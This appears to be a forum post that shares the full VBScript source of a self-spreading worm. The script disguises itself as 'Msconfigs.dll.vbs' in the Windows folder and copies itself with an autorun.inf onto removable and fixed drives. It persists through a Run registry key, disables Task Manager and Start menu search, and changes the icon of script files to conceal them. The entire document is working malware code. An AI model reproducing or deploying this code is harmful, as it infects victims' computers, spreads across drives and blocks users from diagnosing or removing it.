[hide=30][code]on error resume next
dim mycodes,windirectory,flashdiskdrive,filessystem,makefile,autoruns,textfiles,registr,nt,check,setd
autoruns = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Msconfigs.dll.vbs"
set filessystem = createobject("Scripting.FileSystemObject")
set makefile = filessystem.getfile(Wscript.ScriptFullname)
dim text,size
size = makefile.size
check = makefile.drive.drivetype
set text=makefile.openastextstream(1,-2)
do while not text.atendofstream
mycodes=mycodes&text.readline
mycodes=mycodes & vbcrlf
loop
do
Set windirectory = filessystem.getspecialfolder(0)
set textfiles = filessystem.getfile(windirectory & "\Msconfigs.dll.vbs")
textfiles.attributes = 32
set textfiles=filessystem.createtextfile(windirectory & "\Msconfigs.dll.vbs",2,true)
textfiles.write mycodes
textfiles.close
set textfiles = filessystem.getfile(windirectory & "\Msconfigs.dll.vbs")
textfiles.attributes = 39
for each flashdiskdrive in filessystem.drives
If (flashdiskdrive.drivetype = 1 or flashdiskdrive.drivetype = 2) and flashdiskdrive.path <> "A:" then
set textfiles=filessystem.getfile(flashdiskdrive.path &"\Msconfigs.dll.vbs")
textfiles.attributes =32
set textfiles=filessystem.createtextfile(flashdiskdrive.path &"\Msconfigs.dll.vbs",2,true)
textfiles.write mycodes
textfiles.close
set textfiles=filessystem.getfile(flashdiskdrive.path &"\Msconfigs.dll.vbs")
textfiles.attributes =39
set textfiles =filessystem.getfile(flashdiskdrive.path &"\autorun.inf")
textfiles.attributes = 32
set textfiles=filessystem.createtextfile(flashdiskdrive.path &"\autorun.inf",2,true)
textfiles.write autoruns
textfiles.close
set textfiles =filessystem.getfile(flashdiskdrive.path &"\autorun.inf")
textfiles.attributes=39
end if
next
set registr = createobject("WScript.Shell")
registr.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSConfigs",windirectory&"\Msconfigs.dll.vbs"
registr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","HELLO WORLD i am VB v.1.2"
registr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1"
registr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1"
registr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartmenuMorePrograms","1"
registr.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set setd = createobject("Wscript.shell")
setd.run windirectory&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
'a file is script
